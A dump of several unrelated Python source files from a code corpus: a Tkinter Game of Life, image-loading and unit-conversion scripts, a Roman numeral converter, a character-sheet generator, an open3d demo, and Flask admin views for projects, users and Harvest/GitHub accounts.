sticky='SW')\n self.clear_button = tk.Button(self.buttons_frame, text=\"Clear grid\", command=self.clear_grid)\n self.clear_button.grid(row=1, column=1, sticky='W')\n self.stop_button = tk.Button(self.buttons_frame, text=\"Random grid\", command=self.random_generation)\n self.stop_button.grid(row=2, column=1, sticky='NW')\n\n # Create the boxes\n self.items = self.update_canvas()\n\n self.root.mainloop()\n\n def on_mouse_click(self, event_origin):\n \"\"\"\n Actions performed every click on the board\n \n Checks how many square_sizes go into mouse_x & mouse_y to get the number of squares horizontal and vertical.\n Then multiplies by the square_size to get its coordinates.\n This is used as it is faster than looping through each square each click.\n \n :param tkinter Event event_origin: Automatically gives the event. Mouse click.\n \"\"\"\n\n mouse_x = event_origin.x\n mouse_y = event_origin.y\n try:\n if self.grid.squares[(((mouse_x//self.grid.square_size)*self.grid.square_size),\n ((mouse_y//self.grid.square_size)*self.grid.square_size))].state:\n\n self.grid.squares[(((mouse_x // self.grid.square_size) * self.grid.square_size),\n ((mouse_y // self.grid.square_size) * self.grid.square_size))].state = False\n else:\n self.grid.squares[(((mouse_x // self.grid.square_size) * self.grid.square_size),\n ((mouse_y // self.grid.square_size) * self.grid.square_size))].state = True\n\n self.update_canvas(canvas_done=True, canvas_items=self.items, generation_update=False)\n except KeyError:\n #  If click is off the grid\n pass\n\n def start(self):\n \"\"\"\n Function called when at the start of the game. \n \"\"\"\n\n # Restricts the press of this button to run once.\n if not self.started:\n self.started = True\n # Creates a loop within the mainloop\n self.root.after(self.refresh_speed, self.refresh_screen)\n # Mainloop in tkinter, run the code and loop it until exit called\n\n def random_generation(self):\n \"\"\"\n Function called to generate a random grid. \n \"\"\"\n for _, square in self.grid.squares.items():\n if random.random() > self.tolerance:\n square.state = True\n else:\n square.state = False\n\n self.generation = 0\n self.update_canvas(canvas_done=True, canvas_items=self.items)\n\n def clear_grid(self):\n \"\"\"\n Function called to clear the grid. \n \"\"\"\n for _, square in self.grid.squares.items():\n square.state = False\n\n self.update_canvas(canvas_done=True, canvas_items=self.items)\n\n def refresh_screen(self):\n \"\"\"\n Alters square states then updates canvas. Runs in an internal loop (separate loop from mainloop) \n \"\"\"\n\n self.grid.enforce_rules()\n self.update_canvas(canvas_done=True, canvas_items=self.items)\n\n # Reruns the loop\n self.root.after(self.refresh_speed, self.refresh_screen)\n\n def update_canvas(self, canvas_done=False, canvas_items=None, generation_update=True):\n \"\"\"\n Draws to the canvas if just run program. Otherwise updates each square colour.\n\n :param bool canvas_done: Whether the canvas has already run once or not\n :param dict canvas_items: ONLY REQUIRED IF canvas_done == True; \n Each canvas.create_rectangle object with coordinates \n {coordinates: canvas.create_rectangle object}\n :param bool generation_update: Decides whether or not to increase generation\n \n :return: dictionary of {coordinates: canvas.create_rectangle object}\n so as to get reference to each square. Only return if run once\n :rtype: dict\n \"\"\"\n # So that clicking the mouse doesn't increase generation\n if generation_update:\n # Updates generation\n self.generation += 1\n self.generation_label.config(text='Gen: %d' % self.generation)\n\n # Make sures the argument isn't mutable. Just initializes canvas_items\n canvas_items = {} if not canvas_items else canvas_items\n\n square_items = self.grid.squares\n\n # If the canvas hasn't already been populated with the .create_rect()\n if not canvas_done:\n #  Loop through the squares\n for coords, square in square_items.items():\n (b_r_x, b_r_y) = square.rect() # The bottom right coordinates\n (t_l_x, t_l_y) = coords # Top left coordinates\n\n # Draws a rectangle and stores the data in a dict corresponding to the rectangle drawn\n # Need this to update the rectangles' colours later\n canvas_items[coords] = self.canvas.create_rectangle(t_l_x, t_l_y,\n b_r_x, b_r_y,\n fill=square.get_colour()\n )\n\n return canvas_items\n\n # The canvas has already been populated with squares\n # Need this as tkinter doesn't draw on top.\n else:\n # If canvas_items has been specified\n if canvas_items:\n # Loop through the canvas items\n for coords, item in canvas_items.items():\n # Update the canvas to the new colour\n self.canvas.itemconfig(item, fill=square_items[coords].get_colour())\n # No canvas_items so raise a value error\n else:\n raise ValueError(\"No canvas_items given for re-iterating over canvas squares.\")\n\n\n# If running of the base script and not imported\nif __name__ == '__main__':\n #  Cell Size: higher it is the faster the computer updates canvas (doesn't matter about amount of cells, just size)\n # ^I don't know why\n app = App(150, 10, tolerance=0.8, refresh_speed=125)\n","sub_path":"Python/ConwaysGOLTkinter.py","file_name":"ConwaysGOLTkinter.py","file_ext":"py","file_size_in_byte":17894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"387240856","text":"import glob\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.image as mpimg\r\n\r\nX = np.zeros((160, 2000), dtype=float) # 학습 데이터\r\nXt = np.zeros((240, 2000), dtype=float) # 테스트 데이터\r\nY = np.zeros((160,1), dtype=int) # 학습 클래스 레이블\r\nYt = np.zeros((240,1), dtype=int) # 테스트 클래스 레이블\r\n\r\n# load train image into a numpy matrix\r\nfor i, img_file in enumerate(glob.glob('./data/ORL/train/*.png')):\r\n img = mpimg.imread(img_file)\r\n X[i,:] = np.reshape(img, (1,2000))\r\n# display last image\r\nplt.imshow(img, cmap='gray')\r\nplt.show()\r\n\r\n# load test image into a numpy matrix\r\nfor i, img_file in enumerate(glob.glob('./data/ORL/test/*.png')):\r\n img = mpimg.imread(img_file)\r\n Xt[i,:] = np.reshape(img, (1,2000))\r\n\r\n# set class label\r\nfor i in range(40):\r\n Y[4*i:4*(i+1),0] = i+1\r\n Yt[6*i:6*(i+1),0] = i+1","sub_path":"HW2 ORL Face Database/HW2_startup.py","file_name":"HW2_startup.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"469362753","text":"#Simple Unit Convert\nprint(\"Simple Miles to Feet Converter\")\nprint(\"------------------------------\")\nfeet_in_miles = 5280\n#Setup variables/get input from user\n\nmiles = input(\"Enter Miles to be converted >\")\n\ntry:\n miles = int(miles)\nexcept ValueError:\n print(\"Please enter a valid number\")\n\n#Define method for transforming units\ndef miles_to_feet(miles):\n if isinstance(miles,str):\n print(\"Please enter a valid number\")\n else:\n return miles*feet_in_miles\n\n#check if proper input before outputting results\nfeet = miles_to_feet(miles)\nprint(\"{miles} miles is {feet} feet.\".format(miles = miles, feet=feet))\n#extracredit out put\n","sub_path":"week1and2/2/simpleunitconvert.py","file_name":"simpleunitconvert.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"184789575","text":"from services.romans.resources.symbols import symbols\n\n\nclass Roman:\n\n @classmethod\n def make_it_roman(cls, number):\n if 900 <= int(number) <= 3000:\n mult = divmod(int(number), 1000)\n\n if mult[0] > 0 and mult[1] == 0:\n return symbols[\"1000\"] * mult[0]\n\n c_amount = (1000 - int(number)) // 100\n\n if c_amount > 0:\n return f\"{symbols['100']}{symbols['1000']}\"\n if c_amount < 0:\n return f\"{symbols['1000']}{abs(c_amount) * symbols['100']}\"\n\n elif 400 <= int(number) <= 800:\n if number == \"500\":\n return symbols[\"500\"]\n\n c_amount = (500 - int(number)) // 100\n\n if c_amount > 0:\n return f\"{symbols['100']}{symbols['500']}\"\n if c_amount < 0:\n return f\"{symbols['500']}{abs(c_amount) * symbols['100']}\"\n\n elif 90 <= int(number) <= 300:\n mult = divmod(int(number), 100)\n\n if mult[0] > 0 and mult[1] == 0:\n return symbols[\"100\"] * mult[0]\n\n c_amount = (100 - int(number)) // 10\n\n if c_amount > 0:\n return f\"{symbols['10']}{symbols['100']}\"\n if c_amount < 0:\n return f\"{symbols['100']}{abs(c_amount) * symbols['10']}\"\n\n elif 40 <= int(number) <= 80:\n if number == \"50\":\n return symbols[\"50\"]\n\n c_amount = (50 - int(number)) // 10\n\n if c_amount > 0:\n return f\"{symbols['10']}{symbols['50']}\"\n if c_amount < 0:\n return f\"{symbols['50']}{abs(c_amount) * symbols['10']}\"\n\n elif 9 <= int(number) <= 30:\n mult = divmod(int(number), 10)\n\n if mult[0] > 0 and mult[1] == 0:\n return symbols[\"10\"] * mult[0]\n\n c_amount = (10 - int(number))\n\n if c_amount > 0:\n return f\"{symbols['1']}{symbols['10']}\"\n if c_amount < 0:\n return f\"{symbols['10']}{abs(c_amount) * symbols['1']}\"\n\n elif 4 <= int(number) <= 8:\n if number == \"5\":\n return symbols[\"5\"]\n\n c_amount = (5 - int(number))\n\n if c_amount > 0:\n return f\"{symbols['1']}{symbols['5']}\"\n if c_amount < 0:\n return f\"{symbols['5']}{abs(c_amount) * symbols['1']}\"\n\n else:\n return int(number) * symbols[\"1\"]\n\n @classmethod\n def convert_digits(cls, number):\n try:\n if 1 <= int(number) <= 3000:\n strip_number_list = [(10 ** index) // 10 * int(n)\n for index, n\n in zip(range(len(number), 0, -1), number)]\n\n converted_number_list = list()\n\n for item in strip_number_list:\n converted_number_list.append(cls.make_it_roman(str(item)))\n\n return ''.join(converted_number_list)\n\n except ValueError:\n return False\n\n return False\n","sub_path":"WebService/services/romans/src/utils/roman.py","file_name":"roman.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"633401917","text":"from file_operations import render_template\nfrom faker import Faker\nimport random\n\nAVATARS_NUMBER = 10\nSKILLS_NUMBER = 3\nCHARACT_MIN = 8\nCHARACT_MAX = 14\n\nfake = Faker(\"ru_RU\")\n\ndic = {\n 'а': 'а͠', 'б': 'б̋', 'в': 'в͒͠',\n 'г': 'г͒͠', 'д': 'д̋', 'е': 'е͠',\n 'ё': 'ё͒͠', 'ж': 'ж͒', 'з': 'з̋̋͠',\n 'и': 'и', 'й': 'й͒͠', 'к': 'к̋̋',\n 'л': 'л̋͠', 'м': 'м͒͠', 'н': 'н͒',\n 'о': 'о̋', 'п': 'п̋͠', 'р': 'р̋͠',\n 'с': 'с͒', 'т': 'т͒', 'у': 'у͒͠',\n 'ф': 'ф̋̋͠', 'х': 'х͒͠', 'ц': 'ц̋',\n 'ч': 'ч̋͠', 'ш': 'ш͒͠', 'щ': 'щ̋',\n 'ъ': 'ъ̋͠', 'ы': 'ы̋͠', 'ь': 'ь̋',\n 'э': 'э͒͠͠', 'ю': 'ю̋͠', 'я': 'я̋',\n 'А': 'А͠', 'Б': 'Б̋', 'В': 'В͒͠',\n 'Г': 'Г͒͠', 'Д': 'Д̋', 'Е': 'Е',\n 'Ё': 'Ё͒͠', 'Ж': 'Ж͒', 'З': 'З̋̋͠',\n 'И': 'И', 'Й': 'Й͒͠', 'К': 'К̋̋',\n 'Л': 'Л̋͠', 'М': 'М͒͠', 'Н': 'Н͒',\n 'О': 'О̋', 'П': 'П̋͠', 'Р': 'Р̋͠',\n 'С': 'С͒', 'Т': 'Т͒', 'У': 'У͒͠',\n 'Ф': 'Ф̋̋͠', 'Х': 'Х͒͠', 'Ц': 'Ц̋',\n 'Ч': 'Ч̋͠', 'Ш': 'Ш͒͠', 'Щ': 'Щ̋',\n 'Ъ': 'Ъ̋͠', 'Ы': 'Ы̋͠', 'Ь': 'Ь̋',\n 'Э': 'Э͒͠͠', 'Ю': 'Ю̋͠', 'Я': 'Я̋'\n}\n\ndef new_context():\n with open ('skills.txt') as f:\n skills = f.read().strip().split('\\n')\n\n random_skills = random.sample(skills, SKILLS_NUMBER)\n\n for skill_num in range(len(random_skills)):\n for key, value in dic.items():\n random_skills[skill_num] = random_skills[skill_num].replace(key, value)\n\n context = {\n 'first_name': fake.first_name(),\n 'last_name': fake.last_name(),\n 'job': fake.job(),\n 'town': fake.city(),\n 'strength': random.randint(CHARACT_MIN,CHARACT_MAX),\n 'agility': random.randint(CHARACT_MIN,CHARACT_MAX),\n 'endurance': random.randint(CHARACT_MIN,CHARACT_MAX),\n 'intelligence': random.randint(CHARACT_MIN,CHARACT_MAX),\n 'luck': random.randint(CHARACT_MIN,CHARACT_MAX),\n 'skill_1': random_skills[0],\n 'skill_2': random_skills[1],\n 'skill_3': random_skills[2]\n }\n return context\n\n\ndef main():\n for avatars in range(AVATARS_NUMBER):\n render_template ('charsheet.svg','charsheets/charsheet_{}.svg'.format(avatars),new_context())\n\nif __name__ == '__main__':\n main()\n ","sub_path":"dvmg/lesson05/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"407166222","text":"from pyFiles.API import read_model, show_o3d_file, show_plt, show_o3d_model, rotation_o3d, rotate\nfrom pyFiles.parser import OBJParser\nfrom pyFiles.processing_utils import directory_processing\nimport os\nimport open3d\nimport numpy as np\n\n\nif __name__ == \"__main__\":\n base_dir = \"data\"\n model_file = \"model0.obj\"\n\n # Загрузка модели с файла:\n # 1. Через парсер из .obj\n obj_parser = OBJParser(os.path.join(base_dir, model_file))\n faces: list = obj_parser.faces()\n print(\"Faces sizes:\", np.array(faces).shape)\n print(\"Parser log:\", obj_parser.log()) # all comments from .obj file and info about wrong read faces\n\n # 2. Через open3d из .obj, .stl. ply\n model: open3d.geometry.TriangleMesh = read_model(base_dir, model_file)\n\n # ----------------------------------------------------------\n # Визуализация 3D модели\n # 1. Для представления через np.ndarray с помощью matplotlib (медленный способ)\n show_plt(faces)\n\n # 2. Непосредственно из файла.\n show_o3d_file(os.path.join(base_dir, model_file))\n\n # 3. Для объекта класса open3d.geometry.TriangleMesh\n show_o3d_model(model)\n\n # -----------------------------------------------------------\n # Повороты на заданный градус относительно заданной оси\n # 1. Для представления через np.ndarray\n # Поворот граней faces на -90 градусов относительно X (0 - X, 1 - Y, 2 - Z)\n faces_after_rotation: np.ndarray = rotate(faces, axis=0, angle=-90.0)\n\n # 2. Для объекта класса open3d.geometry.TriangleMesh\n # Поворот модели на -90 градусов относительно X (0 - X, 1 - Y, 2 - Z)\n model_after_rotation: open3d.geometry.TriangleMesh = rotation_o3d(model, axis=0, degree=-90.0)\n\n # -----------------------------------------------------------\n # Работа с папками\n # dir - целевая папка\n # degree - угол по умолчанию, в режиме auto используется в повороте для всех моделей папки\n # axis - ось по умолчанию, в режиме auto используется в повороте для всех моделей папки\n # auto - флаг, указывающий на то, в каком режиме будет проводиться обработка;\n # при значении False для каждой модели будет представлена возможность отдельной настройки параметров поворота.\n directory_processing(dir=base_dir, degree=-90.0, axis=0, auto=False)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"38741240","text":"import matplotlib.pyplot as plt\nfrom random import randint\n\nclass ScatterSet:\n\thl = None\n\tdef update_set(self, xcoord, ycoord):\n\t\tself.hl.set_xdata(xcoord)\n\t\tself.hl.set_ydata(ycoord)\n\tdef __init__(self, icon):\n\t\tself.hl, = plt.plot([], [], icon)\n\nclass Map:\n\tfig = None\n\tscatter = None\n\tdef __init__(self, xmin=0, xmax=10, ymin=0, ymax=10, windowWidth=10, windowHeight=10):\n\t\tplt.ion() # interactive mode, allows updating of map using draw()\n\t\tself.fig = plt.figure(num=None, figsize=(windowWidth, windowHeight), dpi=80, facecolor='w', edgecolor='k')\n\t\tax = self.fig.add_subplot(111)\n\t\tplt.axis([xmin, xmax, ymin, ymax])\n\t\tself.scatter = {}\n\tdef newScatter(self, name, icon):\n\t\tnewScat = ScatterSet(icon)\n\t\tif(name in self.scatter):\n\t\t\tprint(\"ScatterSet named \" + name + \" already exists.\")\n\t\telse:\n\t\t\tself.scatter[name] = newScat\n\t\treturn self.scatter[name]\n\tdef printScatter(self):\n\t\tprint(\"Names of ScatterSets in scatter:\")\n\t\tfor entry in self.scatter:\n\t\t\tprint(entry)\n\t\t\t\ny = Map(xmin=0, xmax=9, ymin=0, ymax=9, windowWidth=6, windowHeight=6) # create a map object\ny.newScatter('red', 'ro') # create a scatterplot set called 'red' with red circles as markers ('ro')\ny.scatter['red'].update_set([1],[1]) # set xy coordinates (1,1) for entries in 'red'\ny.newScatter('blue', 'bo')\ny.scatter['blue'].update_set([2],[2])\n\ny.printScatter() # prints the names of the scatterplot sets\ny.fig.canvas.draw() # each time this is called, the plot is redrawn\nprint(\"Press enter to continue.\")\nraw_input()\n####\ny.scatter['red'].update_set([1, 2, 3], [1, 4, 9])\ny.scatter['blue'].update_set([1.5, 2.5, 3.5], [3, 5, 7])\ny.newScatter('green', 'go')\ny.scatter['green'].update_set([0, 1, 2, 3, 4, 5], [0, 1, 2, 3, 4, 5])\n\ny.printScatter()\ny.fig.canvas.draw()\nprint(\"Press enter to exit.\")\nraw_input()\n","sub_path":"matplotlib_work/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"109299772","text":"import sys\nimport re\nfrom datetime import datetime, timedelta\n\nfrom flask import request, render_template, flash, redirect, abort, url_for\nfrom flask.ext.login import login_required\nfrom flask.ext.wtf import Form\nfrom wtforms import TextField, SelectField\nfrom wtforms.validators import Required\nimport requests\n\nfrom ..base import app, db, github_connection, harvest_connection\nfrom .auth import admin_permission\nfrom ..model import Account, Project, ProjectUserAssociation, ProjectUserAssociation, ProjectHarvestAssociation, GithubAccount, GithubRepo, HarvestAccount\nfrom ..forms import NewIssueForm, NewCommentForm, LoginForm, ReportForm, IssuesSelectForm, ProjectMainForm, UserForm, HarvestForm, GithubForm, RepoForm, ProjectDeleteForm\n\n\nrepo_shortcut_regular = re.compile(r\"\"\"\n ^\\w+/\n (?P\\w+)\n \"\"\", re.VERBOSE)\n\n\n@app.route('/manage_projects', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_projects():\n \"\"\"Function which processes manage_projects page - \"\"\"\n form = ProjectMainForm()\n\n form.users.choices = [(str(u.id), u.label) for u in Account.query.filter().all()]\n form.harvests.choices = [(str(h.id), h.shortcut) for h in HarvestAccount.query.filter().all()]\n\n if request.method == 'POST':\n if form.validate_on_submit():\n repo_url = form.repo.data\n repo = GithubRepo.query.filter(GithubRepo.url == repo_url).first()\n\n if repo is None:\n github_account = GithubAccount.query.filter().first()\n\n if github_account is None:\n github_account_id = None\n else:\n github_account_id = github_account.id\n\n test = repo_shortcut_regular.search(repo_url)\n\n if test:\n shortcut = test.group('repo_shortcut').replace('/', '')\n else:\n shortcut = repo_url.replace('/', '')\n\n repo_test = GithubRepo.query.filter(GithubRepo.shortcut == shortcut).first()\n\n if repo_test is not None:\n shortcut = repo_url.replace('/', '_')\n\n repo = GithubRepo(url = repo_url, shortcut=shortcut, github_account_id=github_account_id)\n db.session.add(repo)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_projects'))\n\n CreateWebhook(repo)\n\n project = Project(name=form.name.data, github_repo_id=repo.id, show_reports=form.show_reports.data)\n\n db.session.add(project)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_projects'))\n\n for user_id in form.users.data:\n project_user_assoc = ProjectUserAssociation(project_id=project.id, user_id=int(user_id))\n db.session.add(project_user_assoc)\n\n for harvest_account_id in form.harvests.data:\n project_harvest_assoc = ProjectHarvestAssociation(project_id=project.id, harvest_account_id=int(harvest_account_id))\n db.session.add(project_harvest_assoc)\n\n db.session.commit()\n\n return redirect(url_for('manage_project_h', p_id=project.id))\n else:\n flash('Form is not valid', 'common_error')\n\n projects = Project.query.filter().all()\n\n for p in projects:\n tmp = []\n\n for project_harvest_assoc in p.harvests:\n if project_harvest_assoc.default == 1:\n tmp.append(\"({}, {})\".format(project_harvest_assoc.harvest_account.shortcut, project_harvest_assoc.harvest_project_id))\n else:\n tmp.append(\"({}, {})\".format(project_harvest_assoc.harvest_account.shortcut, project_harvest_assoc.harvest_project_id))\n\n p.h = \", \".join(tmp)\n\n return render_template('administration/projects.html',\n form=form,\n projects=projects\n )\n\n\n@app.route('/manage_projects/', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_project(p_id):\n \"\"\"Function which processes manage_projects page - \"\"\"\n project = Project.query.get_or_404(p_id)\n\n if project.github_repo is None:\n repo_url = \"\"\n else:\n repo_url = project.github_repo.url\n\n form = ProjectMainForm(name=project.name, repo=repo_url, show_reports=project.show_reports, users=[(u.user_id) for u in ProjectUserAssociation.query.filter(ProjectUserAssociation.project_id == project.id).all()], harvests=[(h.harvest_account.id) for h in ProjectHarvestAssociation.query.filter(ProjectHarvestAssociation.project_id == project.id).all()])\n\n form.users.choices = [(str(u.id), u.label) for u in Account.query.filter().all()]\n form.harvests.choices = [(str(h.id), h.shortcut) for h in HarvestAccount.query.filter().all()]\n\n if request.method == 'POST':\n if form.validate_on_submit():\n repo_url = form.repo.data\n repo = GithubRepo.query.filter(GithubRepo.url == repo_url).first()\n\n if repo is None:\n github_account = GithubAccount.query.filter().first()\n\n if github_account is None:\n github_account_id = None\n else:\n github_account_id = github_account.id\n\n test = repo_shortcut_regular.search(repo_url)\n\n if test:\n shortcut = test.group('repo_shortcut').replace('/', '')\n else:\n shortcut = repo_url.replace('/', '')\n\n repo = GithubRepo(url=repo_url, shortcut=shortcut, github_account_id=github_account_id)\n db.session.add(repo)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_project', p_id=project.id))\n\n project.name = form.name.data\n project.github_repo_id = repo.id\n project.show_reports = form.show_reports.data\n db.session.add(project)\n\n users = {}\n\n for project_user_assoc in ProjectUserAssociation.query.filter(ProjectUserAssociation.project_id == project.id).all():\n users[int(project_user_assoc.user_id)] = project_user_assoc\n\n for user_id in form.users.data:\n user_id = int(user_id)\n\n if user_id in users:\n users.pop(user_id, None)\n else:\n project_user_assoc = ProjectUserAssociation(project_id=project.id, user_id=int(user_id))\n db.session.add(project_user_assoc)\n\n for project_user_assoc in users:\n db.session.delete(users[project_user_assoc])\n\n harvests = {}\n\n for project_harvest_assoc in ProjectHarvestAssociation.query.filter(ProjectHarvestAssociation.project_id == project.id).all():\n harvests[int(project_harvest_assoc.harvest_account_id)] = project_harvest_assoc\n\n for harvest_account_id in form.harvests.data:\n harvest_account_id = int(harvest_account_id)\n\n if harvest_account_id in harvests:\n harvests.pop(harvest_account_id, None)\n else:\n project_harvest_assoc = ProjectHarvestAssociation(project_id=project.id, harvest_account_id=int(harvest_account_id))\n db.session.add(project_harvest_assoc)\n\n for project_harvest_assoc in harvests:\n db.session.delete(harvests[project_harvest_assoc])\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_project', p_id=project.id))\n\n return redirect(url_for('manage_project_h', p_id=project.id))\n else:\n flash('Form is not valid', 'common_error')\n\n projects = Project.query.filter().all()\n\n for p in projects:\n tmp = []\n\n for project_harvest_assoc in p.harvests:\n if project_harvest_assoc.default == 1:\n tmp.append(\"({}, {})\".format(project_harvest_assoc.harvest_account.shortcut, project_harvest_assoc.harvest_project_id))\n else:\n tmp.append(\"({}, {})\".format(project_harvest_assoc.harvest_account.shortcut, project_harvest_assoc.harvest_project_id))\n\n p.h = \", \".join(tmp)\n\n return render_template('administration/project.html',\n form=form,\n projects=projects,\n project=project\n )\n\n\n@app.route('/manage_projects//h', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_project_h(p_id):\n \"\"\"Function which processes manage_projects page - \"\"\"\n project = Project.query.get_or_404(p_id)\n\n class F(Form):\n #default = SelectField(validators = [Required()])\n pass\n\n for project_harvest_assoc in ProjectHarvestAssociation.query.filter(ProjectHarvestAssociation.project_id == project.id).all():\n setattr(F, str(project_harvest_assoc.harvest_account.id), TextField(project_harvest_assoc.harvest_account.shortcut.title() + ' harvest project id', default=project_harvest_assoc.harvest_project_id, validators=[Required()]))\n\n setattr(F, 'default', SelectField('Default harvest connection', validators=[Required()]))\n\n default_harvest_account = ProjectHarvestAssociation.query.filter(ProjectHarvestAssociation.project_id == project.id, ProjectHarvestAssociation.default == 1).first()\n\n if default_harvest_account:\n form = F(default=default_harvest_account.harvest_account_id)\n else:\n form = F()\n\n form.default.choices = [(str(h.harvest_account_id), h.harvest_account.shortcut) for h in ProjectHarvestAssociation.query.filter(ProjectHarvestAssociation.project_id == project.id).all()]\n\n if request.method == 'POST':\n if form.validate_on_submit():\n for field in form.data:\n for project_harvest_assoc in ProjectHarvestAssociation.query.filter(ProjectHarvestAssociation.project_id == project.id, ProjectHarvestAssociation.harvest_account_id == field).all():\n project_harvest_assoc.harvest_project_id = getattr(form, field).data\n\n if int(form.default.data) == project_harvest_assoc.harvest_account_id:\n project_harvest_assoc.default = 1\n else:\n project_harvest_assoc.default = 0\n\n db.session.add(project_harvest_assoc)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n\n return redirect(url_for('manage_projects'))\n else:\n flash('Form is not valid', 'common_error')\n\n projects = Project.query.filter().all()\n\n for p in projects:\n tmp = []\n\n for project_harvest_assoc in p.harvests:\n if project_harvest_assoc.default == 1:\n tmp.append(\"({}, {})\".format(project_harvest_assoc.harvest_account.shortcut, project_harvest_assoc.harvest_project_id))\n else:\n tmp.append(\"({}, {})\".format(project_harvest_assoc.harvest_account.shortcut, project_harvest_assoc.harvest_project_id))\n\n p.h = \", \".join(tmp)\n\n return render_template('administration/project_h.html',\n form=form,\n projects=projects,\n project=project\n )\n\n\n@app.route('/manage_projects//delete', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_project_delete(p_id):\n \"\"\"Function which processes manage_projects page - \"\"\"\n project = Project.query.get_or_404(p_id)\n\n form = ProjectDeleteForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n name = form.name.data\n\n if name != project.name:\n flash('You have to write exact name of the deleted project', 'common_error')\n return redirect(url_for('manage_projects'))\n\n db.session.delete(project)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n\n return redirect(url_for('manage_projects'))\n else:\n flash('Form is not valid', 'common_error')\n\n projects = Project.query.filter().all()\n\n return render_template('administration/project_delete.html',\n form=form,\n projects=projects,\n project=project\n )\n\n\n@app.route('/manage_users', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_users():\n \"\"\"Function which processes manage_users page - \"\"\"\n form = UserForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n user = Account(name=form.name.data, is_admin=form.admin.data, email=form.email.data, label=form.label.data)\n db.session.add(user)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_users'))\n else:\n flash('Form is not valid', 'common_error')\n\n users = Account.query.filter().all()\n\n for user in users:\n if user.is_active:\n user.activity = \"active\"\n else:\n user.activity = \"inactive\"\n\n if user.is_admin:\n user.role = \"Admin\"\n else:\n user.role = \"User\"\n\n return render_template('administration/users.html',\n form=form,\n users=users\n )\n\n\n@app.route('/manage_users/', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef user(id):\n \"\"\"Function which processes user page - \"\"\"\n user = Account.query.get_or_404(id)\n form = UserForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n user.name = form.name.data\n user.is_admin = form.admin.data\n user.email = form.email.data\n user.label = form.label.data\n db.session.add(user)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('user', id = id))\n\n return redirect(url_for('manage_users'))\n else:\n flash('Form is not valid', 'common_error')\n\n users = Account.query.filter().all()\n\n for u in users:\n if u.is_active:\n u.activity = \"active\"\n else:\n u.activity = \"inactive\"\n\n if u.is_admin:\n u.role = \"Admin\"\n else:\n u.role = \"User\"\n\n return render_template('administration/user.html',\n form=UserForm(\n name=user.name,\n admin=user.is_admin,\n email=user.email,\n label=user.label\n ),\n users=users,\n user=user\n )\n\n\n@app.route('/manage_harvest', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef manage_harvest():\n \"\"\"Function which processes manage_harvest page - \"\"\"\n form = HarvestForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n harvest = HarvestAccount(client_id=form.client_id.data, shortcut=form.shortcut.data, client_secret=form.secret.data)\n db.session.add(harvest)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: {}'.format(sys.exc_info()[1]), 'common_error')\n return redirect(url_for('manage_harvest'))\n else:\n flash('Form is not valid', 'common_error')\n\n harvests = HarvestAccount.query.filter().all()\n\n for harvest in harvests:\n if harvest.token_timestamp is None or harvest.token_refresh is None or ((harvest.token_timestamp + timedelta(days=29)) < datetime.now()):\n harvest.state = \"unauthorized\"\n else:\n harvest.state = \"authorized\"\n\n return render_template('administration/harvest.html',\n form=form,\n harvests=harvests\n )\n\n\n@app.route('/manage_harvest/', methods=['GET', 'POST'])\n@login_required\n@admin_permission.require()\ndef harvest(id):\n \"\"\"Function which processes harvest page - \"\"\"\n harvest = HarvestAccount.query.get_or_404(id)\n form = HarvestForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n harvest.client_id = form.client_id.data\n harvest.shortcut = form.shortcut.data\n harvest.client_secret = form.secret.data\n db.session.add(harvest)\n\n try:\n db.session.commit()\n except:\n db.session.rollback()\n flash('Commit to DB wasn`t successful: 